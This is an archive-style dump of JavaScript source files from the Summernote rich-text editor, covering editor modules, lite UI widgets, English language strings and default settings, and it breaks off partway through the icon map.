this.options.keyMap[env.isMac ? 'mac' : 'pc']; return Object.keys(keyMap).map((key) => { const command = keyMap[key]; const $row = $('<div><div class="help-list-item"/></div>'); $row.append($('<label><kbd>' + key + '</kdb></label>').css({ 'width': 180, 'margin-right': 10 })).append($('<span/>').html(this.context.memo('help.' + command) || command)); return $row.html(); }).join(''); } /** * show help dialog * * @return {Promise} */ showHelpDialog() { return $.Deferred((deferred) => { this.ui.onDialogShown(this.$dialog, () => { this.context.triggerEvent('dialog.shown'); deferred.resolve(); }); this.ui.showDialog(this.$dialog); }).promise(); } show() { this.context.invoke('editor.saveRange'); this.showHelpDialog().then(() => { this.context.invoke('editor.restoreRange'); }); } } js/base/module/Clipboard.js000064400000001441151677272030011626 0ustar00import lists from '../core/lists'; export default class Clipboard { constructor(context) { this.context = context; this.$editable = context.layoutInfo.editable; } initialize() { this.$editable.on('paste', this.pasteByEvent.bind(this)); } /** * paste by clipboard event * * @param {Event} event */ pasteByEvent(event) { const clipboardData = event.originalEvent.clipboardData; if (clipboardData && clipboardData.items && clipboardData.items.length) { const item = lists.head(clipboardData.items); if (item.kind === 'file' && item.type.indexOf('image/') !== -1) { this.context.invoke('editor.insertImagesOrCallback', [item.getAsFile()]); } this.context.invoke('editor.afterCommand'); } } } js/base/module/Codeview.js000064400000006140151677272030011475 0ustar00import env from '../core/env'; import dom from '../core/dom'; let CodeMirror; if (env.hasCodeMirror) { if (env.isSupportAmd) { require(['codemirror'], function(cm) { CodeMirror = cm; }); } else { CodeMirror = window.CodeMirror; } } /** * @class Codeview */ export default class CodeView { constructor(context) { this.context = context; this.$editor = context.layoutInfo.editor; this.$editable = context.layoutInfo.editable; this.$codable = context.layoutInfo.codable; this.options = context.options; } sync() { const isCodeview = this.isActivated(); if (isCodeview && env.hasCodeMirror) { this.$codable.data('cmEditor').save(); } } /** * @return {Boolean} */ isActivated() { return this.$editor.hasClass('codeview'); } /** * toggle codeview */ toggle() { if (this.isActivated()) { this.deactivate(); } else { this.activate(); } this.context.triggerEvent('codeview.toggled'); } /** * activate code view */ activate() { this.$codable.val(dom.html(this.$editable, this.options.prettifyHtml)); this.$codable.height(this.$editable.height()); this.context.invoke('toolbar.updateCodeview', true); this.$editor.addClass('codeview'); this.$codable.focus(); // activate CodeMirror as codable if (env.hasCodeMirror) { const cmEditor = CodeMirror.fromTextArea(this.$codable[0], this.options.codemirror); // CodeMirror TernServer if (this.options.codemirror.tern) { const server = new CodeMirror.TernServer(this.options.codemirror.tern); cmEditor.ternServer = server; cmEditor.on('cursorActivity', (cm) => { server.updateArgHints(cm); }); } cmEditor.on('blur', (event) => { this.context.triggerEvent('blur.codeview', cmEditor.getValue(), event); }); // CodeMirror hasn't Padding. cmEditor.setSize(null, this.$editable.outerHeight()); this.$codable.data('cmEditor', cmEditor); } else { this.$codable.on('blur', (event) => { this.context.triggerEvent('blur.codeview', this.$codable.val(), event); }); } } /** * deactivate code view */ deactivate() { // deactivate CodeMirror as codable if (env.hasCodeMirror) { const cmEditor = this.$codable.data('cmEditor'); this.$codable.val(cmEditor.getValue()); cmEditor.toTextArea(); } const value = dom.value(this.$codable, this.options.prettifyHtml) || dom.emptyPara; const isChange = this.$editable.html() !== value; this.$editable.html(value); this.$editable.height(this.options.height ? this.$codable.height() : 'auto'); this.$editor.removeClass('codeview'); if (isChange) { this.context.triggerEvent('change', this.$editable.html(), this.$editable); } this.$editable.focus(); this.context.invoke('toolbar.updateCodeview', false); } destroy() { if (this.isActivated()) { this.deactivate(); } } } js/base/module/AirPopover.js000064400000004035151677272030012017 0ustar00import $ from 'jquery'; import env from '../core/env'; import func from '../core/func'; import lists from '../core/lists'; import dom from '../core/dom'; const AIR_MODE_POPOVER_X_OFFSET = 20; export default class AirPopover { constructor(context) { this.context = context; this.ui = $.summernote.ui; this.options = context.options; this.events = { 'summernote.keyup summernote.mouseup summernote.scroll': () => { this.update(); }, 'summernote.disable summernote.change summernote.dialog.shown': () => { this.hide(); }, 'summernote.focusout': (we, e) => { // [workaround] Firefox doesn't support relatedTarget on focusout // - Ignore hide action on focus out in FF. if (env.isFF) { return; } if (!e.relatedTarget || !dom.ancestor(e.relatedTarget, func.eq(this.$popover[0]))) { this.hide(); } } }; } shouldInitialize() { return this.options.airMode && !lists.isEmpty(this.options.popover.air); } initialize() { this.$popover = this.ui.popover({ className: 'note-air-popover' }).render().appendTo(this.options.container); const $content = this.$popover.find('.popover-content'); this.context.invoke('buttons.build', $content, this.options.popover.air); } destroy() { this.$popover.remove(); } update() { const styleInfo = this.context.invoke('editor.currentStyle'); if (styleInfo.range && !styleInfo.range.isCollapsed()) { const rect = lists.last(styleInfo.range.getClientRects()); if (rect) { const bnd = func.rect2bnd(rect); this.$popover.css({ display: 'block', left: Math.max(bnd.left + bnd.width / 2, 0) - AIR_MODE_POPOVER_X_OFFSET, top: bnd.top + bnd.height }); this.context.invoke('buttons.updateCurrentStyle', this.$popover); } } else { this.hide(); } } hide() { this.$popover.hide(); } } js/base/module/AutoLink.js000064400000002770151677272030011463 0ustar00import $ from 'jquery'; import lists from '../core/lists'; import key from '../core/key'; const defaultScheme = 'http://'; const linkPattern = /^([A-Za-z][A-Za-z0-9+-.]*\:[\/\/]?|mailto:[A-Z0-9._%+-]+@)?(www\.)?(.+)$/i; export default class AutoLink { constructor(context) { this.context = context; this.events = { 'summernote.keyup': (we, e) => { if (!e.isDefaultPrevented()) { this.handleKeyup(e); } }, 'summernote.keydown': (we, e) => { this.handleKeydown(e); } }; } initialize() { this.lastWordRange = null; } destroy() { this.lastWordRange = null; } replace() { if (!this.lastWordRange) { return; } const keyword = this.lastWordRange.toString(); const match = keyword.match(linkPattern); if (match && (match[1] || match[2])) { const link = match[1] ? keyword : defaultScheme + keyword; const node = $('<a />').html(keyword).attr('href', link)[0]; this.lastWordRange.insertNode(node); this.lastWordRange = null; this.context.invoke('editor.focus'); } } handleKeydown(e) { if (lists.contains([key.code.ENTER, key.code.SPACE], e.keyCode)) { const wordRange = this.context.invoke('editor.createRange').getWordRange(); this.lastWordRange = wordRange; } } handleKeyup(e) { if (lists.contains([key.code.ENTER, key.code.SPACE], e.keyCode)) { this.replace(); } } } js/base/module/Statusbar.js000064400000002342151677272030011700 0ustar00import $ from 'jquery'; const EDITABLE_PADDING = 24; export default class Statusbar { constructor(context) { this.$document = $(document); this.$statusbar = context.layoutInfo.statusbar; this.$editable = context.layoutInfo.editable; this.options = context.options; } initialize() { if (this.options.airMode || this.options.disableResizeEditor) { this.destroy(); return; } this.$statusbar.on('mousedown', (event) => { event.preventDefault(); event.stopPropagation(); const editableTop = this.$editable.offset().top - this.$document.scrollTop(); const onMouseMove = (event) => { let height = event.clientY - (editableTop + EDITABLE_PADDING); height = (this.options.minheight > 0) ? Math.max(height, this.options.minheight) : height; height = (this.options.maxHeight > 0) ? Math.min(height, this.options.maxHeight) : height; this.$editable.height(height); }; this.$document.on('mousemove', onMouseMove).one('mouseup', () => { this.$document.off('mousemove', onMouseMove); }); }); } destroy() { this.$statusbar.off(); this.$statusbar.addClass('locked'); } } js/base/module/LinkDialog.js000064400000012546151677272030011754 0ustar00import $ from 'jquery'; import env from '../core/env'; import key from '../core/key'; export default class LinkDialog { constructor(context) { this.context = context; this.ui = $.summernote.ui; this.$body = $(document.body); this.$editor = context.layoutInfo.editor; this.options = context.options; this.lang = this.options.langInfo; context.memo('help.linkDialog.show', this.options.langInfo.help['linkDialog.show']); } initialize() { const $container = this.options.dialogsInBody ? this.$body : this.$editor; const body = [ '<div class="form-group note-form-group">', `<label class="note-form-label">${this.lang.link.textToDisplay}</label>`, '<input class="note-link-text form-control note-form-control note-input" type="text" />', '</div>', '<div class="form-group note-form-group">', `<label class="note-form-label">${this.lang.link.url}</label>`, '<input class="note-link-url form-control note-form-control note-input" type="text" value="http://" />', '</div>', !this.options.disableLinkTarget ? $('<div/>').append(this.ui.checkbox({ id: 'sn-checkbox-open-in-new-window', text: this.lang.link.openInNewWindow, checked: true }).render()).html() : '' ].join(''); const buttonClass = 'btn btn-primary note-btn note-btn-primary note-link-btn'; const footer = `<button type="submit" href="#" class="${buttonClass}" disabled>${this.lang.link.insert}</button>`; this.$dialog = this.ui.dialog({ className: 'link-dialog', title: this.lang.link.insert, fade: this.options.dialogsFade, body: body, footer: footer }).render().appendTo($container); } destroy() { this.ui.hideDialog(this.$dialog); this.$dialog.remove(); } bindEnterKey($input, $btn) { $input.on('keypress', (event) => { if (event.keyCode === key.code.ENTER) { event.preventDefault(); $btn.trigger('click'); } }); } /** * toggle update button */ toggleLinkBtn($linkBtn, $linkText, $linkUrl) { this.ui.toggleBtn($linkBtn, $linkText.val() && $linkUrl.val()); } /** * Show link dialog and set event handlers on dialog controls. * * @param {Object} linkInfo * @return {Promise} */ showLinkDialog(linkInfo) { return $.Deferred((deferred) => { const $linkText = this.$dialog.find('.note-link-text'); const $linkUrl = this.$dialog.find('.note-link-url'); const $linkBtn = this.$dialog.find('.note-link-btn'); const $openInNewWindow = this.$dialog.find('input[type=checkbox]'); this.ui.onDialogShown(this.$dialog, () => { this.context.triggerEvent('dialog.shown'); // if no url was given, copy text to url if (!linkInfo.url) { linkInfo.url = linkInfo.text; } $linkText.val(linkInfo.text); const handleLinkTextUpdate = () => { this.toggleLinkBtn($linkBtn, $linkText, $linkUrl); // if linktext was modified by keyup, // stop cloning text from linkUrl linkInfo.text = $linkText.val(); }; $linkText.on('input', handleLinkTextUpdate).on('paste', () => { setTimeout(handleLinkTextUpdate, 0); }); const handleLinkUrlUpdate = () => { this.toggleLinkBtn($linkBtn, $linkText, $linkUrl); // display same link on `Text to display` input // when create a new link if (!linkInfo.text) { $linkText.val($linkUrl.val()); } }; $linkUrl.on('input', handleLinkUrlUpdate).on('paste', () => { setTimeout(handleLinkUrlUpdate, 0); }).val(linkInfo.url); if (!env.isSupportTouch) { $linkUrl.trigger('focus'); } this.toggleLinkBtn($linkBtn, $linkText, $linkUrl); this.bindEnterKey($linkUrl, $linkBtn); this.bindEnterKey($linkText, $linkBtn); const isChecked = linkInfo.isNewWindow !== undefined ? linkInfo.isNewWindow : this.context.options.linkTargetBlank; $openInNewWindow.prop('checked', isChecked); $linkBtn.one('click', (event) => { event.preventDefault(); deferred.resolve({ range: linkInfo.range, url: $linkUrl.val(), text: $linkText.val(), isNewWindow: $openInNewWindow.is(':checked') }); this.ui.hideDialog(this.$dialog); }); }); this.ui.onDialogHidden(this.$dialog, () => { // detach events $linkText.off('input paste keypress'); $linkUrl.off('input paste keypress'); $linkBtn.off('click'); if (deferred.state() === 'pending') { deferred.reject(); } }); this.ui.showDialog(this.$dialog); }).promise(); } /** * @param {Object} layoutInfo */ show() { const linkInfo = this.context.invoke('editor.getLinkInfo'); this.context.invoke('editor.saveRange'); this.showLinkDialog(linkInfo).then((linkInfo) => { this.context.invoke('editor.restoreRange'); this.context.invoke('editor.createLink', linkInfo); }).fail(() => { this.context.invoke('editor.restoreRange'); }); } } js/base/summernote-en-US.js000064400000011235151677272030011567 0ustar00import $ from 'jquery'; $.summernote = $.summernote || { lang: {} }; $.extend($.summernote.lang, { 'en-US': { font: { bold: 'Bold', italic: 'Italic', underline: 'Underline', clear: 'Remove Font Style', height: 'Line Height', name: 'Font Family', strikethrough: 'Strikethrough', subscript: 'Subscript', superscript: 'Superscript', size: 'Font Size' }, image: { image: 'Picture', insert: 'Insert Image', resizeFull: 'Resize Full', resizeHalf: 'Resize Half', resizeQuarter: 'Resize Quarter', floatLeft: 'Float Left', floatRight: 'Float Right', floatNone: 'Float None', shapeRounded: 'Shape: Rounded', shapeCircle: 'Shape: Circle', shapeThumbnail: 'Shape: Thumbnail', shapeNone: 'Shape: None', dragImageHere: 'Drag image or text here', dropImage: 'Drop image or Text', selectFromFiles: 'Select from files', maximumFileSize: 'Maximum file size', maximumFileSizeError: 'Maximum file size exceeded.', url: 'Image URL', remove: 'Remove Image', original: 'Original' }, video: { video: 'Video', videoLink: 'Video Link', insert: 'Insert Video', url: 'Video URL', providers: '(YouTube, Vimeo, Vine, Instagram, DailyMotion or Youku)' }, link: { link: 'Link', insert: 'Insert Link', unlink: 'Unlink', edit: 'Edit', textToDisplay: 'Text to display', url: 'To what URL should this link go?', openInNewWindow: 'Open in new window' }, table: { table: 'Table', addRowAbove: 'Add row above', addRowBelow: 'Add row below', addColLeft: 'Add column left', addColRight: 'Add column right', delRow: 'Delete row', delCol: 'Delete column', delTable: 'Delete table' }, hr: { insert: 'Insert Horizontal Rule' }, style: { style: 'Style', p: 'Normal', blockquote: 'Quote', pre: 'Code', h1: 'Header 1', h2: 'Header 2', h3: 'Header 3', h4: 'Header 4', h5: 'Header 5', h6: 'Header 6' }, lists: { unordered: 'Unordered list', ordered: 'Ordered list' }, options: { help: 'Help', fullscreen: 'Full Screen', codeview: 'Code View' }, paragraph: { paragraph: 'Paragraph', outdent: 'Outdent', indent: 'Indent', left: 'Align left', center: 'Align center', right: 'Align right', justify: 'Justify full' }, color: { recent: 'Recent Color', more: 'More Color', background: 'Background Color', foreground: 'Foreground Color', transparent: 'Transparent', setTransparent: 'Set transparent', reset: 'Reset', resetToDefault: 'Reset to default' }, shortcut: { shortcuts: 'Keyboard shortcuts', close: 'Close', textFormatting: 'Text formatting', action: 'Action', paragraphFormatting: 'Paragraph formatting', documentStyle: 'Document Style', extraKeys: 'Extra keys' }, help: { 'insertParagraph': 'Insert Paragraph', 'undo': 'Undoes the last command', 'redo': 'Redoes the last command', 'tab': 'Tab', 'untab': 'Untab', 'bold': 'Set a bold style', 'italic': 'Set a italic style', 'underline': 'Set a underline style', 'strikethrough': 'Set a strikethrough style', 'removeFormat': 'Clean a style', 'justifyLeft': 'Set left align', 'justifyCenter': 'Set center align', 'justifyRight': 'Set right align', 'justifyFull': 'Set full align', 'insertUnorderedList': 'Toggle unordered list', 'insertOrderedList': 'Toggle ordered list', 'outdent': 'Outdent on current paragraph', 'indent': 'Indent on current paragraph', 'formatPara': 'Change current block\'s format as a paragraph(P tag)', 'formatH1': 'Change current block\'s format as H1', 'formatH2': 'Change current block\'s format as H2', 'formatH3': 'Change current block\'s format as H3', 'formatH4': 'Change current block\'s format as H4', 'formatH5': 'Change current block\'s format as H5', 'formatH6': 'Change current block\'s format as H6', 'insertHorizontalRule': 'Insert horizontal rule', 'linkDialog.show': 'Show Link Dialog' }, history: { undo: 'Undo', redo: 'Redo' }, specialChar: { specialChar: 'SPECIAL CHARACTERS', select: 'Select Special characters' } } }); js/summernote.js000064400000002670151677272030007733 0ustar00import $ from 'jquery'; import env from './base/core/env'; import lists from './base/core/lists'; import Context from './base/Context'; $.fn.extend({ /** * Summernote API * * @param {Object|String} * @return {this} */ summernote: function() { const type = $.type(lists.head(arguments)); const isExternalAPICalled = type === 'string'; const hasInitOptions = type === 'object'; const options = $.extend({}, $.summernote.options, hasInitOptions ? lists.head(arguments) : {}); // Update options options.langInfo = $.extend(true, {}, $.summernote.lang['en-US'], $.summernote.lang[options.lang]); options.icons = $.extend(true, {}, $.summernote.options.icons, options.icons); options.tooltip = options.tooltip === 'auto' ? !env.isSupportTouch : options.tooltip; this.each((idx, note) => { const $note = $(note); if (!$note.data('summernote')) { const context = new Context($note, options); $note.data('summernote', context); $note.data('summernote').triggerEvent('init', context.layoutInfo); } }); const $note = this.first(); if ($note.length) { const context = $note.data('summernote'); if (isExternalAPICalled) { return context.invoke.apply(context, lists.from(arguments)); } else if (options.focus) { context.invoke('editor.focus'); } } return this; } }); js/lite/ui/PopoverUI.js000064400000005424151677272030010777 0ustar00class PopoverUI { constructor($node, options) { this.$node = $node; this.options = $.extend({}, { title: '', content: '', target: options.container, trigger: 'hover focus', placement: 'bottom' }, options); // create popover node this.$popover = $([ '<div class="note-popover in">', ' <div class="note-popover-arrow" />', ' <div class="note-popover-content" />', '</div>' ].join('')); // define event if (this.options.trigger !== 'manual') { const showCallback = this.show.bind(this); const hideCallback = this.hide.bind(this); const toggleCallback = this.toggle.bind(this); this.options.trigger.split(' ').forEach(function(eventName) { if (eventName === 'hover') { $node.off('mouseenter').on('mouseenter', showCallback); $node.off('mouseleave').on('mouseleave', hideCallback); } else if (eventName === 'click') { $node.on('click', toggleCallback); } else if (eventName === 'focus') { $node.on('focus', showCallback); $node.on('blur', hideCallback); } }); } } show() { const $node = this.$node; const offset = $node.offset(); const $popover = this.$popover; const content = this.options.content || $node.data('content'); const placement = $node.data('placement') || this.options.placement; const dist = 6; $popover.addClass(placement); $popover.addClass('in'); $popover.find('.note-popover-content').html(content); $popover.appendTo(this.options.target); const nodeWidth = $node.outerWidth(); const nodeHeight = $node.outerHeight(); const popoverWidth = $popover.outerWidth(); const popoverHeight = $popover.outerHeight(); if (placement === 'bottom') { $popover.css({ top: offset.top + nodeHeight + dist, left: offset.left + (nodeWidth / 2 - popoverWidth / 2) }); } else if (placement === 'top') { $popover.css({ top: offset.top - popoverHeight - dist, left: offset.left + (nodeWidth / 2 - popoverWidth / 2) }); } else if (placement === 'left') { $popover.css({ top: offset.top + (nodeHeight / 2 - popoverHeight / 2), left: offset.left - popoverWidth - dist }); } else if (placement === 'right') { $popover.css({ top: offset.top + (nodeHeight / 2 - popoverHeight / 2), left: offset.left + nodeWidth + dist }); } } hide() { this.$popover.removeClass('in'); this.$popover.remove(); } toggle() { if (this.$popover.hasClass('in')) { this.hide(); } else { this.show(); } } } export default PopoverUI; js/lite/ui/ModalUI.js000064400000001665151677272030010404 0ustar00class ModalUI { constructor($node, options) { this.options = $.extend({}, { target: options.container || 'body' }, options); this.$modal = $node; this.$backdrop = $('<div class="note-modal-backdrop" />'); } show() { if (this.options.target === 'body') { this.$backdrop.css('position', 'fixed'); this.$modal.css('position', 'fixed'); } else { this.$backdrop.css('position', 'absolute'); this.$modal.css('position', 'absolute'); } this.$backdrop.appendTo(this.options.target).show(); this.$modal.appendTo(this.options.target).addClass('open').show(); this.$modal.trigger('note.modal.show'); this.$modal.off('click', '.close').on('click', '.close', this.hide.bind(this)); } hide() { this.$modal.removeClass('open').hide(); this.$backdrop.hide(); this.$modal.trigger('note.modal.hide'); } } export default ModalUI; js/lite/ui/TooltipUI.js000064400000005311151677272030010772 0ustar00class TooltipUI { constructor($node, options) { this.$node = $node; this.options = $.extend({}, { title: '', target: options.container, trigger: 'hover focus', placement: 'bottom' }, options); // create tooltip node this.$tooltip = $([ '<div class="note-tooltip in">', ' <div class="note-tooltip-arrow"/>', ' <div class="note-tooltip-content"/>', '</div>' ].join('')); // define event if (this.options.trigger !== 'manual') { const showCallback = this.show.bind(this); const hideCallback = this.hide.bind(this); const toggleCallback = this.toggle.bind(this); this.options.trigger.split(' ').forEach(function(eventName) { if (eventName === 'hover') { $node.off('mouseenter mouseleave'); $node.on('mouseenter', showCallback).on('mouseleave', hideCallback); } else if (eventName === 'click') { $node.on('click', toggleCallback); } else if (eventName === 'focus') { $node.on('focus', showCallback).on('blur', hideCallback); } }); } } show() { const $node = this.$node; const offset = $node.offset(); const $tooltip = this.$tooltip; const title = this.options.title || $node.attr('title') || $node.data('title'); const placement = this.options.placement || $node.data('placement'); $tooltip.addClass(placement); $tooltip.addClass('in'); $tooltip.find('.note-tooltip-content').text(title); $tooltip.appendTo(this.options.target); const nodeWidth = $node.outerWidth(); const nodeHeight = $node.outerHeight(); const tooltipWidth = $tooltip.outerWidth(); const tooltipHeight = $tooltip.outerHeight(); if (placement === 'bottom') { $tooltip.css({ top: offset.top + nodeHeight, left: offset.left + (nodeWidth / 2 - tooltipWidth / 2) }); } else if (placement === 'top') { $tooltip.css({ top: offset.top - tooltipHeight, left: offset.left + (nodeWidth / 2 - tooltipWidth / 2) }); } else if (placement === 'left') { $tooltip.css({ top: offset.top + (nodeHeight / 2 - tooltipHeight / 2), left: offset.left - tooltipWidth }); } else if (placement === 'right') { $tooltip.css({ top: offset.top + (nodeHeight / 2 - tooltipHeight / 2), left: offset.left + nodeWidth }); } } hide() { this.$tooltip.removeClass('in'); this.$tooltip.remove(); } toggle() { if (this.$tooltip.hasClass('in')) { this.hide(); } else { this.show(); } } } export default TooltipUI; js/lite/ui/DropdownUI.js000064400000003144151677272030011136 0ustar00class DropdownUI { constructor($node, options) { this.$button = $node; this.options = $.extend({}, { target: options.container }, options); this.setEvent(); } setEvent() { this.$button.on('click', this.toggle.bind(this)); } clear() { var $parent = $('.note-btn-group.open'); $parent.find('.note-btn.active').removeClass('active'); $parent.removeClass('open'); } show() { this.$button.addClass('active'); this.$button.parent().addClass('open'); var $dropdown = this.$button.next(); var offset = $dropdown.offset(); var width = $dropdown.outerWidth(); var windowWidth = $(window).width(); var targetMarginRight = parseFloat($(this.options.target).css('margin-right')); if (offset.left + width > windowWidth - targetMarginRight) { $dropdown.css('margin-left', windowWidth - targetMarginRight - (offset.left + width)); } else { $dropdown.css('margin-left', ''); } } hide() { this.$button.removeClass('active'); this.$button.parent().removeClass('open'); } toggle() { var isOpened = this.$button.parent().hasClass('open'); this.clear(); if (isOpened) { this.hide(); } else { this.show(); } } } $(document).on('click', function(e) { if (!$(e.target).closest('.note-btn-group').length) { $('.note-btn-group.open').removeClass('open'); } }); $(document).on('click.note-dropdown-menu', function(e) { $(e.target).closest('.note-dropdown-menu').parent().removeClass('open'); }); export default DropdownUI; js/lite/settings.js000064400000024031151677272030010325 0ustar00import $ from 'jquery'; import ui from './ui'; import '../base/summernote-en-US'; import Editor from '../base/module/Editor'; import Clipboard from '../base/module/Clipboard'; import Dropzone from '../base/module/Dropzone'; import Codeview from '../base/module/Codeview'; import Statusbar from '../base/module/Statusbar'; import Fullscreen from '../base/module/Fullscreen'; import Handle from '../base/module/Handle'; import AutoLink from '../base/module/AutoLink'; import AutoSync from '../base/module/AutoSync'; import Placeholder from '../base/module/Placeholder'; import Buttons from '../base/module/Buttons'; import Toolbar from '../base/module/Toolbar'; import LinkDialog from '../base/module/LinkDialog'; import LinkPopover from '../base/module/LinkPopover'; import ImageDialog from '../base/module/ImageDialog'; import ImagePopover from '../base/module/ImagePopover'; import TablePopover from '../base/module/TablePopover'; import VideoDialog from '../base/module/VideoDialog'; import HelpDialog from '../base/module/HelpDialog'; import AirPopover from '../base/module/AirPopover'; import HintPopover from '../base/module/HintPopover'; $.summernote = $.extend($.summernote, { version: '@@VERSION@@', ui: ui, plugins: {}, options: { modules: { 'editor': Editor, 'clipboard': Clipboard, 'dropzone': Dropzone, 'codeview': Codeview, 'statusbar': Statusbar, 'fullscreen': Fullscreen, 'handle': Handle, // FIXME: HintPopover must be front of autolink // - Script error about range when Enter key is pressed on hint popover 'hintPopover': HintPopover, 'autoLink': AutoLink, 'autoSync': AutoSync, 'placeholder': Placeholder, 'buttons': Buttons, 'toolbar': Toolbar, 'linkDialog': LinkDialog, 'linkPopover': LinkPopover, 'imageDialog': ImageDialog, 'imagePopover': ImagePopover, 'tablePopover': TablePopover, 'videoDialog': VideoDialog, 'helpDialog': HelpDialog, 'airPopover': AirPopover }, buttons: {}, lang: 'en-US', followingToolbar: true, otherStaticBar: '', // toolbar toolbar: [ ['style', ['style']], ['font', ['bold', 'underline', 'clear']], ['fontname', ['fontname']], ['fontsize', ['fontsize']], ['color', ['color']], ['para', ['ul', 'ol', 'paragraph']], ['table', ['table']], ['insert', ['link', 'picture', 'video']], ['view', ['fullscreen', 'codeview', 'help']] ], // popover popatmouse: true, popover: { image: [ ['imagesize', ['imageSize100', 'imageSize50', 'imageSize25']], ['float', ['floatLeft', 'floatRight', 'floatNone']], ['remove', ['removeMedia']] ], link: [ ['link', ['linkDialogShow', 'unlink']] ], table: [ ['add', ['addRowDown', 'addRowUp', 'addColLeft', 'addColRight']], ['delete', ['deleteRow', 'deleteCol', 'deleteTable']] ], air: [ ['color', ['color']], ['font', ['bold', 'underline', 'clear']], ['para', ['ul', 'paragraph']], ['table', ['table']], ['insert', ['link', 'picture']] ] }, // air mode: inline editor airMode: false, width: null, height: null, focus: false, tabSize: 4, styleWithSpan: true, shortcuts: true, textareaAutoSync: true, hintDirection: 'bottom', tooltip: 'auto', container: 'body', maxTextLength: 0, styleTags: ['p', 'pre', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6'], fontNames: [ 'Arial', 'Arial Black', 'Comic Sans MS', 'Courier New', 'Helvetica Neue', 'Helvetica', 'Impact', 'Lucida Grande', 'Tahoma', 'Times New Roman', 'Verdana' ], fontSizes: ['8', '9', '10', '11', '12', '14', '18', '24', '36'], // pallete colors(n x n) colors: [ ['#000000', '#424242', '#636363', '#9C9C94', '#CEC6CE', '#EFEFEF', '#F7F7F7', '#FFFFFF'], ['#FF0000', '#FF9C00', '#FFFF00', '#00FF00', '#00FFFF', '#0000FF', '#9C00FF', '#FF00FF'], ['#F7C6CE', '#FFE7CE', '#FFEFC6', '#D6EFD6', '#CEDEE7', '#CEE7F7', '#D6D6E7', '#E7D6DE'], ['#E79C9C', '#FFC69C', '#FFE79C', '#B5D6A5', '#A5C6CE', '#9CC6EF', '#B5A5D6', '#D6A5BD'], ['#E76363', '#F7AD6B', '#FFD663', '#94BD7B', '#73A5AD', '#6BADDE', '#8C7BC6', '#C67BA5'], ['#CE0000', '#E79439', '#EFC631', '#6BA54A', '#4A7B8C', '#3984C6', '#634AA5', '#A54A7B'], ['#9C0000', '#B56308', '#BD9400', '#397B21', '#104A5A', '#085294', '#311873', '#731842'], ['#630000', '#7B3900', '#846300', '#295218', '#083139', '#003163', '#21104A', '#4A1031'] ], // http://chir.ag/projects/name-that-color/ colorsName: [ ['Black', 'Tundora', 'Dove Gray', 'Star Dust', 'Pale Slate', 'Gallery', 'Alabaster', 'White'], ['Red', 'Orange Peel', 'Yellow', 'Green', 'Cyan', 'Blue', 'Electric Violet', 'Magenta'], ['Azalea', 'Karry', 'Egg White', 'Zanah', 'Botticelli', 'Tropical Blue', 'Mischka', 'Twilight'], ['Tonys Pink', 'Peach Orange', 'Cream Brulee', 'Sprout', 'Casper', 'Perano', 'Cold Purple', 'Careys Pink'], ['Mandy', 'Rajah', 'Dandelion', 'Olivine', 'Gulf Stream', 'Viking', 'Blue Marguerite', 'Puce'], ['Guardsman Red', 'Fire Bush', 'Golden Dream', 'Chelsea Cucumber', 'Smalt Blue', 'Boston Blue', 'Butterfly Bush', 'Cadillac'], ['Sangria', 'Mai Tai', 'Buddha Gold', 'Forest Green', 'Eden', 'Venice Blue', 'Meteorite', 'Claret'], ['Rosewood', 'Cinnamon', 'Olive', 'Parsley', 'Tiber', 'Midnight Blue', 'Valentino', 'Loulou'] ], lineHeights: ['1.0', '1.2', '1.4', '1.5', '1.6', '1.8', '2.0', '3.0'], tableClassName: 'table table-bordered', insertTableMaxSize: { col: 10, row: 10 }, dialogsInBody: false, dialogsFade: false, maximumImageFileSize: null, callbacks: { onInit: null, onFocus: null, onBlur: null, onBlurCodeview: null, onEnter: null, onKeyup: null, onKeydown: null, onSubmit: null, onImageUpload: null, onImageUploadError: null }, codemirror: { mode: 'text/html', htmlMode: true, lineNumbers: true }, keyMap: { pc: { 'ENTER': 'insertParagraph', 'CTRL+Z': 'undo', 'CTRL+Y': 'redo', 'TAB': 'tab', 'SHIFT+TAB': 'untab', 'CTRL+B': 'bold', 'CTRL+I': 'italic', 'CTRL+U': 'underline', 'CTRL+SHIFT+S': 'strikethrough', 'CTRL+BACKSLASH': 'removeFormat', 'CTRL+SHIFT+L': 'justifyLeft', 'CTRL+SHIFT+E': 'justifyCenter', 'CTRL+SHIFT+R': 'justifyRight', 'CTRL+SHIFT+J': 'justifyFull', 'CTRL+SHIFT+NUM7': 'insertUnorderedList', 'CTRL+SHIFT+NUM8': 'insertOrderedList', 'CTRL+LEFTBRACKET': 'outdent', 'CTRL+RIGHTBRACKET': 'indent', 'CTRL+NUM0': 'formatPara', 'CTRL+NUM1': 'formatH1', 'CTRL+NUM2': 'formatH2', 'CTRL+NUM3': 'formatH3', 'CTRL+NUM4': 'formatH4', 'CTRL+NUM5': 'formatH5', 'CTRL+NUM6': 'formatH6', 'CTRL+ENTER': 'insertHorizontalRule', 'CTRL+K': 'linkDialog.show' }, mac: { 'ENTER': 'insertParagraph', 'CMD+Z': 'undo', 'CMD+SHIFT+Z': 'redo', 'TAB': 'tab', 'SHIFT+TAB': 'untab', 'CMD+B': 'bold', 'CMD+I': 'italic', 'CMD+U': 'underline', 'CMD+SHIFT+S': 'strikethrough', 'CMD+BACKSLASH': 'removeFormat', 'CMD+SHIFT+L': 'justifyLeft', 'CMD+SHIFT+E': 'justifyCenter', 'CMD+SHIFT+R': 'justifyRight', 'CMD+SHIFT+J': 'justifyFull', 'CMD+SHIFT+NUM7': 'insertUnorderedList', 'CMD+SHIFT+NUM8': 'insertOrderedList', 'CMD+LEFTBRACKET': 'outdent', 'CMD+RIGHTBRACKET': 'indent', 'CMD+NUM0': 'formatPara', 'CMD+NUM1': 'formatH1', 'CMD+NUM2': 'formatH2', 'CMD+NUM3': 'formatH3', 'CMD+NUM4': 'formatH4', 'CMD+NUM5': 'formatH5', 'CMD+NUM6': 'formatH6', 'CMD+ENTER': 'insertHorizontalRule', 'CMD+K': 'linkDialog.show' } }, icons: { 'align': 'note-icon-align', 'alignCenter': 'note-icon-align-center', 'alignJustify': 'note-icon-align-justify', 'alignLeft': 'note-icon-align-left', 'alignRight': 'note-icon-align-right', 'rowBelow': 'note-icon-row-below', 'colBefore': 'note-icon-col-before', 'colAfter': 'note-icon-col-after', 'rowAbove': 'note-icon-row-above', 'rowRemove': 'note-icon-row-remove', 'colRemove': 'note-icon-col-remove', 'indent': 'note-icon-align-indent', 'outdent': 'note-icon-align-outdent', 'arrowsAlt': 'note-icon-arrows-alt', 'bold': 'note-icon-bold', 'caret': 'note-icon-caret', 'circle': 'note-icon-circle', 'close': 'note-icon-close', 'code': 